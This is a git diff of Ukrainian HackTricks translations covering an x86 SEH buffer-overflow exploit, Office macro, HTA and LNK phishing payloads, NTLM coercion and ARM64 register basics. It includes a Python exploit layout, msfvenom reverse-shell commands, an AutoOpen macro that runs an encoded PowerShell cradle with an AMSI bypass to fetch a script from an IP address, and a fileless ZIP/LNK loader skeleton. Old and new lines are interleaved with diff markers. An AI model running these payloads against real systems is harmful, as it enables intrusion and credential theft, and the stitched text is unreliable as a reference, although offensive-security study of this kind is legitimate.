Ця техніка специфічна для 32-бітних процесів (x86). На сучасних системах віддавайте перевагу модулю без SafeSEH та ASLR для пошуку гаджета. Небажаними часто бувають символи 0x00, 0x0a, 0x0d (NUL/CR/LF) через C-strings та парсинг HTTP.
---
## Знаходження точних зсувів (nSEH / SEH)
- Спровокуйте краш процесу і перевірте, що SEH chain перезаписано (наприклад, в x32dbg/x64dbg перевірте SEH view).
- Відправте cyclic pattern як переповнюючі дані і обчисліть зсуви двох dword'ів, що потрапляють у nSEH і SEH.
- Викличте падіння процесу і підтвердіть, що ланцюжок SEH перезаписано (наприклад, у x32dbg/x64dbg перевірте SEH view).
- Надішліть циклічний патерн як дані для переповнення і порахуйте зсуви двох dword'ів, які потрапляють у nSEH та SEH.
Приклад з peda/GEF/pwntools на 1000-byte POST body:
Приклад з peda/GEF/pwntools для 1000-байтового POST body:
```bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
@ -33,24 +33,24 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
```
Підтвердіть, розмістивши маркери в цих позиціях (наприклад, nSEH=b"BB", SEH=b"CC"). Тримайте загальну довжину сталою, щоб зробити крах відтворюваним.
Валідуйте, розміщуючи маркери в тих позиціях (наприклад, nSEH=b"BB", SEH=b"CC"). Тримайте загальну довжину сталою, щоб зробити краш відтворюваним.
---
## Вибір POP POP RET (SEH gadget)
Вам потрібна послідовність POP POP RET, щоб розгорнути SEH-фрейм і повернутися до байтів nSEH. Знайдіть її в модулі без SafeSEH і, бажано, без ASLR:
Вам потрібна послідовність POP POP RET, щоб розгорнути SEH рамку і повернутися до ваших nSEH байтів. Знайдіть її в модулі без SafeSEH і, бажано, без ASLR:
- Mona (Immunity/WinDbg): `!mona modules`, потім `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH`, щоб перелічити POP POP RET gadgets і статус SafeSEH.
- Mona (Immunity/WinDbg): `!mona modules` потім `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` щоб показати список POP POP RET gadgets і статус SafeSEH.
Виберіть адресу, яка при записі в little-endian не містить badchars (наприклад, `p32(0x004094D8)`). Віддавайте перевагу gadgets всередині вразливого бінарника, якщо захист дозволяє.
Виберіть адресу, яка не містить badchars при записі у little-endian (наприклад, `p32(0x004094D8)`). Віддавайте перевагу гаджетам всередині vulnerable binary, якщо protections дозволяють.
---
## Техніка повернення назад (short + near jmp)
## Jump-back technique (short + near jmp)
nSEH займає лише 4 байти, що вміщує щонайбільше 2-байтовий short jump (`EB xx`) плюс паддінг. Якщо потрібно відскочити на сотні байтів назад, щоб дістатися початку вашого буфера, використайте 5-байтовий near jump, розміщений безпосередньо перед nSEH, і зчепіть його з коротким переходом зі nSEH.
nSEH має лише 4 байти, що вміщує щонайбільше 2-байтовий short jump (`EB xx`) плюс padding. Якщо потрібно відскочити назад на сотні байтів, щоб дістатися початку буфера, використайте 5-байтовий near jump, розташований безпосередньо перед nSEH, і зв'яжіть його коротким стрибком з nSEH.
With nasmshell:
```text
@ -61,7 +61,7 @@ EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
Ідея розміщення для 1000-байтового payload з nSEH на зсуві 660:
Ідея макета для 1000-byte payload з nSEH на offset 660:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
@ -71,40 +71,38 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
```
Потік виконання:
Execution flow:
- Виникає виняток, диспетчер використовує перезаписаний SEH.
- POP POP RET призводить до виконання нашого nSEH.
- nSEH виконує `jmp short -8` у 5-байтовий near jump.
- Near jump приземляється на початку нашого буфера, де розташований NOP sled + shellcode.
- POP POP RET призводить до переходу в наш nSEH.
- nSEH виконує `jmp short -8`, переходячи в 5-байтовий near jump.
- Near jump потрапляє на початок нашого буфера, де знаходиться NOP sled + shellcode.
---
## Небажані символи
## Погані символи
Створіть повний badchar string і порівняйте вміст стеку після краху, вилучаючи байти, які спотворює парсер цілі. Для переповнень на основі HTTP, `\x00\x0a\x0d` майже завжди виключені.
Зберіть повний рядок badchar і порівняйте пам'ять стеку після краху, вилучаючи байти, які спотворюються парсером цілі. Для переповнень, що базуються на HTTP, `\x00\x0a\x0d` майже завжди виключені.
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
```
---
## Генерація Shellcode (x86)
## Shellcode generation (x86)
Використовуйте msfvenom з вашими badchars. Невеликий NOP sled допомагає компенсувати зміщення при попаданні.
Використовуйте msfvenom із вашими badchars. Невеликий NOP sled допомагає витримати невеликі відхилення при попаданні.
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
Якщо генеруєте на льоту, hex-формат зручний для вбудовування і unhex у Python:
Якщо генерувати на льоту, hex-формат зручний для вбудовування й розкодування в Python:
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
```
---
## Передача через HTTP (precise CRLF + Content-Length)
## Доставка через HTTP (precise CRLF + Content-Length)
Коли вразливим вектором є HTTP request body, сформуйте raw request із точними CRLFs і Content-Length, щоб server прочитав увесь переповнений body.
Коли вразливий вектор — тіло HTTP-запиту, сформуйте сирий запит з точними CRLFs і Content-Length, щоб сервер прочитав весь вміст тіла запиту, який переповнюється.
```python
# pip install pwntools
from pwn import remote
@ -127,19 +125,19 @@ p.close()
## Інструменти
- x32dbg/x64dbg для спостереження за ланцюжком SEH та аналізу крашу.
- ERC.Xdbg (x64dbg плагін) для перерахування SEH gadgets: `ERC --SEH`.
- x32dbg/x64dbg — для перегляду ланцюга SEH і тріажу crash'у.
- ERC.Xdbg (x64dbg plugin) — щоб перерахувати SEH gadgets: `ERC --SEH`.
- Mona як альтернатива: `!mona modules`, `!mona seh`.
- nasmshell для збірки коротких/near jumps та копіювання raw opcodes.
- pwntools для створення точних мережевих payloads.
- nasmshell — для складання short/near jumps та копіювання raw opcodes.
- pwntools — для створення точних network payloads.
---
## Примітки та застереження
- Застосовується лише до процесів x86. x64 використовує інший SEH scheme, і експлуатація, заснована на SEH, зазвичай не є життєздатною.
- Віддавайте перевагу gadget'ам у модулях без SafeSEH та ASLR; інакше знайдіть незахищений модуль, завантажений у процес.
- Сервісні watchdog'и, які автоматично перезапускають сервіс при краші, можуть полегшити ітеративну розробку експлойту.
- Застосовується лише до процесів x86. x64 використовує іншу схему SEH, і експлуатація на основі SEH зазвичай не є життєздатною.
- Надавайте перевагу гаджетам у модулях без SafeSEH і ASLR; інакше знайдіть незахищений модуль, завантажений у процес.
- Watchdog-и сервісів, які автоматично перезапускаються після crash, можуть спростити ітеративну розробку експлойтів.
## Посилання
- [HTB: Rainbow SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

View File

@ -2,39 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
## Документи Office
## Office документи
Microsoft Word виконує валідацію даних файлу перед його відкриттям. Валідація даних проводиться шляхом ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає будь-яка помилка, аналізований файл не буде відкрито.
Microsoft Word виконує перевірку даних файлу перед його відкриттям. Перевірка даних виконується шляхом ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, файл не буде відкрито.
Зазвичай файли Word, що містять макроси, мають розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\
Наприклад, файл RTF за замовчуванням не підтримує макроси, але файл DOCM, перейменований у RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
Ті самі внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint тощо).
Зазвичай файли Word, що містять макроси, мають розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\
Наприклад, формат RTF за задумом не підтримує макроси, але DOCM-файл, перейменований у RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
Ті ж внутрішні механізми застосовуються до всіх програм Microsoft Office Suite (Excel, PowerPoint тощо).
Ви можете використати наступну команду, щоб перевірити, які розширення будуть виконуватися деякими програмами Office:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
Файли DOCX, які посилаються на віддалений шаблон (File Options Add-ins Manage: Templates Go), що містить macros, також можуть виконувати macros.
### Зовнішнє завантаження зображення
Перейдіть до: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, і **Filename or URL**:_ http://<ip>/whatever
_**Категорії**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Бекдор через макроси
### Macros Backdoor
It's possible to use macros to run arbitrary code from the document.
Можна використовувати macros для запуску довільного коду з документа.
#### Функції автозавантаження
#### Автозавантажувані функції
The more common they are, the more probable the AV will detect them.
Чим частіше вони використовуються, тим вища ймовірність, що AV їх виявить.
- AutoOpen()
- Document_Open()
#### Приклади коду макросів
#### Macros Code Examples
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,16 +64,16 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Вручну видалити метадані
#### Ручне видалення метаданих
Перейдіть до **File > Info > Inspect Document > Inspect Document**, що відкриє Document Inspector. Натисніть **Inspect**, а потім **Remove All** поруч із **Document Properties and Personal Information**.
#### Розширення документа
Після завершення виберіть випадаючий список **Save as type**, змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\
Робіть це, оскільки ви **не можете зберегти макроси всередині `.docx`** і існує **стигма** навколо макро-увімкненого розширення **`.docm`** (напр., значок ескізу має величезний `!` і деякі веб/електронні шлюзи їх узагалі блокують). Тому це **застаріле розширення `.doc` є найкращим компромісом**.
Коли закінчите, у випадаючому меню **Save as type** виберіть формат та змініть його з **`.docx`** на **Word 97-2003 `.doc`**.\
Робіть так, бо ви **не можете зберігати макроси всередині `.docx`** і існує певна **стигма** щодо макро-увімкненого розширення **`.docm`** (наприклад, значок мініатюри має великий `!`, і деякі web/email шлюзи повністю їх блокують). Тому це **застаріле розширення `.doc` є найкращим компромісом**.
#### Генератори шкідливих макросів
#### Malicious Macros Generators
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
## Файли HTA
HTA — це програма для Windows, яка **поєднує HTML та скриптові мови (наприклад VBScript і JScript)**. Вона генерує інтерфейс користувача та виконується як «повністю довірена» програма, без обмежень моделі безпеки браузера.
HTA — це програма для Windows, яка **поєднує HTML та скриптові мови (такі як VBScript і JScript)**. Вона генерує інтерфейс користувача й виконується як «повністю довірений» застосунок, без обмежень моделі безпеки браузера.
HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом з **Internet Explorer**, через що **`mshta` залежний від IE**. Тому якщо його було видалено, HTA не зможуть виконуватися.
HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом із **Internet Explorer**, через що **`mshta` залежить від IE**. Тому, якщо його було видалено, HTA не зможуть виконуватись.
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## Примушування NTLM автентифікації
## Примус NTLM-аутентифікації
Існує кілька способів **примусити NTLM автентифікацію "віддалено"**, наприклад, ви можете додати **невидимі зображення** до електронних листів або HTML, до яких користувач звернеться (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **спровокують** **автентифікацію** лише при **відкритті папки.**
Існує кілька способів **примусити NTLM-аутентифікацію "віддалено"**, наприклад, ви можете додати **невидимі зображення** в листи або HTML, до яких користувач звернеться (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, що **спровокує** **аутентифікацію** просто при **відкритті папки.**
**Перевірте ці ідеї та інші на наступних сторінках:**
**Перегляньте ці ідеї та інші на наступних сторінках:**
{{#ref}}
@ -156,24 +156,24 @@ self.close
### NTLM Relay
Не забувайте, що ви можете не лише вкрасти хеш або автентифікацію, а й **perform NTLM relay attacks**:
Не забувайте, що ви можете не лише вкрасти хеш або аутентифікацію, але й виконати **NTLM relay attacks**:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Дуже ефективні кампанії доставляють ZIP, який містить два легітимні приманкові документи (PDF/DOCX) та шкідливий .lnk. Фішка в тому, що фактичний PowerShell loader зберігається всередині сирих байтів ZIP після унікального маркера, а .lnk вирізає й запускає його повністю в пам'яті.
Дуже ефективні кампанії доставляють ZIP, який містить два легітимні підставні документи (PDF/DOCX) та шкідливий .lnk. Фішка в тому, що фактичний PowerShell loader зберігається всередині сирих байтів ZIP після унікального маркера, а .lnk витягує і запускає його повністю в пам'яті.
Типовий потік, реалізований .lnk PowerShell one-liner:
Типовий порядок, реалізований .lnk PowerShell one-liner:
1) Знайти оригінальний ZIP у загальних шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, та батьківській директорії поточного робочого каталогу.
2) Прочитати байти ZIP і знайти хардкоджений маркер (наприклад, xFIQCV). Все, що йде після маркера — це вбудований PowerShell payload.
3) Скопіювати ZIP до %ProgramData%, розпакувати там і відкрити приманковий .docx, щоб виглядати легітимно.
1) Знайти оригінальний ZIP у звичних шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData% та батьківська папка поточної робочої директорії.
2) Прочитати байти ZIP і знайти захардкожений маркер (наприклад, xFIQCV). Усе після маркера — це вбудований PowerShell payload.
3) Скопіювати ZIP у %ProgramData%, розпакувати там і відкрити підставний .docx, щоб виглядало легітимно.
4) Обійти AMSI для поточного процесу: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Деобфускувати наступний етап (наприклад, видалити всі символи #) і виконати його в пам'яті.
Example PowerShell skeleton to carve and run the embedded stage:
Приклад PowerShell-скелета для вирізання і запуску вбудованого етапу:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -191,23 +191,23 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code
```
Примітки
- Доставку часто здійснюють через авторитетні піддомени PaaS (e.g., *.herokuapp.com) і можуть обмежувати доступ до payloads (надавати безпечні ZIPs залежно від IP/UA).
- Наступний етап часто розшифровує base64/XOR shellcode і виконує його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску.
- Доставка часто зловживає авторитетними субдоменами PaaS (наприклад, *.herokuapp.com) і може обмежувати доступ до payloads (подавати нешкідливі ZIPs залежно від IP/UA).
- На наступному етапі часто дешифрують base64/XOR shellcode і виконують його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску.
Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
- COM TypeLib hijacking of the Microsoft Web Browser control так, щоб IE/Explorer або будь-який додаток, що вбудовує його, автоматично перезапускав payload. Див. деталі та готові до використання команди тут:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Пошук/IOCs
- ZIP-файли, які містять ASCII-маркер (e.g., xFIQCV), доданий до даних архіву.
- .lnk, що перераховує батьківські/користувацькі папки для пошуку ZIP і відкриває підставний документ.
Hunting/IOCs
- ZIP files, що містять ASCII маркерний рядок (наприклад, xFIQCV), доданий до даних архіву.
- .lnk, який перераховує батьківські/користувацькі папки, щоб знайти ZIP і відкрити приманковий документ.
- Маніпуляції з AMSI через [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Довготривалі бізнес-переписки, що закінчуються посиланнями, розміщеними на довірених PaaS-доменах.
- Тривалі бізнес-потоки, що закінчуються посиланнями, розміщеними на довірених доменах PaaS.
## Джерела
## Посилання
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)

File diff suppressed because it is too large Load Diff

View File

@ -4,252 +4,254 @@
## **Рівні виключень - EL (ARM64v8)**
В архітектурі ARMv8 рівні виконання, відомі як Рівні виключень (EL), визначають рівень привілеїв та можливості середовища виконання. Є чотири рівні виключень, від EL0 до EL3, кожен з яких виконує різну функцію:
В архітектурі ARMv8 рівні виконання, відомі як Exception Levels (EL), визначають рівень привілеїв і можливості середовища виконання. Існує чотири рівні виключень, від EL0 до EL3, кожен з яких виконує різну роль:
1. **EL0 - Режим користувача**:
- Це найменш привілейований рівень, який використовується для виконання звичайного коду додатків.
- Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, що підвищує безпеку та стабільність.
2. **EL1 - Режим ядра операційної системи**:
1. **EL0 - User Mode**:
- Це найменш привілейований рівень, використовується для виконання звичайного коду додатків.
- Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, що підсилює безпеку та стабільність.
2. **EL1 - Operating System Kernel Mode**:
- Більшість ядер операційних систем працюють на цьому рівні.
- EL1 має більше привілеїв, ніж EL0, і може отримувати доступ до системних ресурсів, але з деякими обмеженнями для забезпечення цілісності системи.
3. **EL2 - Режим гіпервізора**:
- Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у своєму EL1), що працюють на одному фізичному апараті.
- EL2 надає функції для ізоляції та контролю віртуалізованих середовищ.
4. **EL3 - Режим безпечного монітора**:
- Це найпривілейованіший рівень, який часто використовується для безпечного завантаження та довірених середовищ виконання.
- EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (такими як безпечне завантаження, довірена ОС тощо).
- EL1 має більше привілеїв ніж EL0 і може отримувати доступ до системних ресурсів, але з певними обмеженнями для збереження цілісності системи.
3. **EL2 - Hypervisor Mode**:
- Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна в своєму EL1) на одній апаратній платформі.
- EL2 надає можливості для ізоляції та контролю віртуалізованих середовищ.
4. **EL3 - Secure Monitor Mode**:
- Це найпривілейований рівень, часто використовується для secure boot і trusted execution environments.
- EL3 може керувати доступом між secure і non-secure станами (наприклад secure boot, trusted OS тощо).
Використання цих рівнів дозволяє структуровано та безпечно управляти різними аспектами системи, від користувацьких додатків до найпривілейованішого системного програмного забезпечення. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, тим самим підвищуючи безпеку та надійність системи.
Використання цих рівнів дозволяє впорядковано і безпечно керувати різними аспектами системи — від користувацьких додатків до найбільш привілейованого системного ПЗ. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, підвищуючи її безпеку та надійність.
## **Реєстри (ARM64v8)**
## **Регістри (ARM64v8)**
ARM64 має **31 загальний реєстр**, позначений `x0` до `x30`. Кожен може зберігати **64-бітне** (8-байтове) значення. Для операцій, які вимагають лише 32-бітних значень, ті ж реєстри можуть бути доступні в 32-бітному режимі, використовуючи назви w0 до w30.
ARM64 має **31 регістр загального призначення**, позначених `x0` до `x30`. Кожен може зберігати **64-бітне** (8-байт) значення. Для операцій, що вимагають лише 32-бітних значень, ті самі регістри можна читати в 32-бітному режимі за іменами `w0` до `w30`.
1. **`x0`** до **`x7`** - Зазвичай використовуються як реєстри для тимчасових даних та для передачі параметрів підпрограмам.
- **`x0`** також несе дані повернення функції.
2. **`x8`** - У ядрі Linux `x8` використовується як номер системного виклику для інструкції `svc`. **У macOS використовується x16!**
3. **`x9`** до **`x15`** - Більше тимчасових реєстрів, часто використовуються для локальних змінних.
4. **`x16`** та **`x17`** - **Реєстри внутрішньопроцедурного виклику**. Тимчасові реєстри для негайних значень. Вони також використовуються для непрямих викликів функцій та PLT (таблиці зв'язування процедур).
- **`x16`** використовується як **номер системного виклику** для інструкції **`svc`** в **macOS**.
5. **`x18`** - **Реєстр платформи**. Може використовуватися як загальний реєстр, але на деяких платформах цей реєстр зарезервований для специфічних для платформи використань: вказівник на блок середовища поточного потоку в Windows або вказівник на поточну **структуру виконуваного завдання в ядрі linux**.
6. **`x19`** до **`x28`** - Це реєстри, збережені викликом. Функція повинна зберігати значення цих реєстрів для свого виклику, тому вони зберігаються в стеку та відновлюються перед поверненням до виклику.
7. **`x29`** - **Вказівник кадру** для відстеження кадру стеку. Коли створюється новий кадр стеку через виклик функції, реєстр **`x29`** **зберігається в стеку**, а адреса **нового** вказівника кадру (**адреса `sp`**) **зберігається в цьому реєстрі**.
- Цей реєстр також може використовуватися як **загальний реєстр**, хоча зазвичай використовується як посилання на **локальні змінні**.
8. **`x30`** або **`lr`** - **Реєстр зв'язку**. Він містить **адресу повернення**, коли виконується інструкція `BL` (перехід з посиланням) або `BLR` (перехід з посиланням на реєстр), зберігаючи значення **`pc`** в цьому реєстрі.
- Його також можна використовувати як будь-який інший реєстр.
- Якщо поточна функція збирається викликати нову функцію і, отже, перезаписати `lr`, вона спочатку зберігає його в стеку, це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` та `lr`, створити простір і отримати новий `fp`) і відновлює його в кінці, це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` та `lr` і повернутися).
9. **`sp`** - **Вказівник стеку**, використовується для відстеження верхньої частини стеку.
- Значення **`sp`** завжди повинно зберігатися принаймні з **квадратним** **вирівнюванням**, інакше може виникнути виняток вирівнювання.
10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей реєстр може бути оновлений лише через генерацію виключень, повернення з виключень та переходи. Єдині звичайні інструкції, які можуть читати цей реєстр, - це інструкції переходу з посиланням (BL, BLR), щоб зберегти адресу **`pc`** в **`lr`** (реєстр зв'язку).
11. **`xzr`** - **Нульовий реєстр**. Також називається **`wzr`** у його **32**-бітній формі. Може використовуватися для отримання нульового значення легко (звичайна операція) або для виконання порівнянь за допомогою **`subs`**, таких як **`subs XZR, Xn, #10`**, зберігаючи результуючі дані нікуди**`xzr`**).
1. **`x0`** до **`x7`** - Зазвичай використовуються як тимчасові регістри та для передачі параметрів у підпрограми.
- **`x0`** також містить повертані дані функції
2. **`x8`** - У ядрі Linux `x8` використовується як номер системного виклику для інструкції `svc`. **В macOS використовується x16!**
3. **`x9`** до **`x15`** - Додаткові тимчасові регістри, часто використовуються для локальних змінних.
4. **`x16`** і **`x17`** - **Intra-procedural Call Registers**. Тимчасові регістри для негайних значень. Також використовуються для непрямих викликів функцій та PLT-стабів.
- **`x16`** використовується як **system call number** для інструкції **`svc`** в **macOS**.
5. **`x18`** - **Platform register**. Може використовуватися як регістр загального призначення, але на деяких платформах цей регістр зарезервований для специфічного використання: вказівник на поточний thread environment block у Windows або вказівник на структуру виконуючого завдання в linux kernel.
6. **`x19`** до **`x28`** - Це регістри, які зберігаються для викликаного коду (callee-saved). Функція має зберегти значення цих регістрів для свого викликача, тому вони зберігаються в steku і відновлюються перед поверненням.
7. **`x29`** - **Frame pointer** для відстеження стекового фрейму. Коли створюється новий стековий фрейм через виклик функції, регістр **`x29`** **зберігається в стек**, а **новий** адреса фрейм-пойнтера (адреса **`sp`**) **зберігається в цьому регістрі**.
- Цей регістр також може використовуватися як регістр загального призначення, хоча зазвичай служить для посилань на **локальні змінні**.
8. **`x30`** або **`lr`** - **Link register**. Тримає **адресу повернення** при виконанні інструкції `BL` (Branch with Link) або `BLR` (Branch with Link to Register) шляхом збереження значення **`pc`** в цей регістр.
- Може також використовуватися як звичайний регістр.
- Якщо поточна функція викликає іншу функцію і тим самим перезапише `lr`, вона збереже його в стек на початку — це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` і `lr`, виділити місце і отримати новий `fp`) і відновить його в кінці — це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` і `lr` і повернутися).
9. **`sp`** - **Stack pointer**, використовується для відстеження вершини стеку.
- Значення **`sp`** завжди має бути вирівняне щонайменше по **quadword**, інакше може виникнути помилка вирівнювання.
10. **`pc`** - **Program counter**, вказує на наступну інструкцію. Цей регістр можна оновлювати лише через генерацію виключень, повернення з виключень та переходи. Єдині звичайні інструкції, які можуть читати цей регістр — це інструкції branch with link (BL, BLR), які зберігають адресу **`pc`** в **`lr`** (Link Register).
11. **`xzr`** - **Zero register**. Також називається **`wzr`** в 32-бітній формі. Може використовуватися для отримання нульового значення або для виконання порівнянь з використанням **`subs`**, наприклад **`subs XZR, Xn, #10`**, де результат нікуди не зберігається**`xzr`**).
Реєстри **`Wn`** є **32-бітною** версією реєстрів **`Xn`**.
Регістрі **`Wn`** — це **32-бітна** версія регістра **`Xn`**.
### SIMD та плаваючі реєстри
> [!TIP]
> Регістри з X0 по X18 є летючими (volatile), тобто їхні значення можуть змінюватися викликами функцій та перериваннями. Натомість регістри з X19 по X28 є нелетючими (non-volatile) — їхні значення мають зберігатися під час викликів функцій ("callee saved").
Крім того, є ще **32 реєстри довжиною 128 біт**, які можуть використовуватися в оптимізованих операціях з одноразовими інструкціями множинних даних (SIMD) та для виконання арифметики з плаваючою комою. Вони називаються реєстрами Vn, хоча вони також можуть працювати в **64**-бітному, **32**-бітному, **16**-бітному та **8**-бітному режимах, і тоді їх називають **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**.
### SIMD та регістри для плаваючої точки
### Системні реєстри
Крім того, існує ще **32 регістри довжиною 128 біт**, які використовуються для оптимізованих SIMD-операцій та для обчислень з плаваючою комою. Вони називаються Vn, хоча також можуть оперувати як **64**-бітні, **32**-бітні, **16**-бітні та **8**-бітні і тоді позначаються як **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**.
**Є сотні системних реєстрів**, також відомих як спеціалізовані реєстри (SPRs), які використовуються для **моніторингу** та **контролю** поведінки **процесорів**.\
Вони можуть бути прочитані або встановлені лише за допомогою спеціальних інструкцій **`mrs`** та **`msr`**.
### Системні регістри
Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** зазвичай зустрічаються під час реверсного інжинірингу. Суфікс `EL0` вказує на **мінімальне виключення**, з якого можна отримати доступ до реєстру (в цьому випадку EL0 - це звичайний рівень виключення (привілеїв), з яким працюють звичайні програми).\
Вони часто використовуються для зберігання **базової адреси регіону локального зберігання потоку** пам'яті. Зазвичай перший з них є читабельним і записуваним для програм, що працюють на EL0, але другий може бути прочитаний з EL0 і записаний з EL1 (як ядро).
**Існують сотні системних регістрів**, також відомих як спеціальні регістри (SPRs), які використовуються для **моніторингу** та **керування** поведінкою процесора.\
Їх можна читати або записувати лише за допомогою спеціальних інструкцій **`mrs`** та **`msr`**.
- `mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 в x0`
- `msr TPIDR_EL0, X0 ; Записати x0 в TPIDR_EL0`
Спеціальні регістри **`TPIDR_EL0`** та **`TPIDDR_EL0`** часто зустрічаються під час реверс-інженірингу. Суфікс `EL0` вказує на **мінімальний рівень виключення**, з якого можна звертатися до регістра (в цьому випадку EL0 — звичайний рівень привілеїв, на якому працюють програми).\
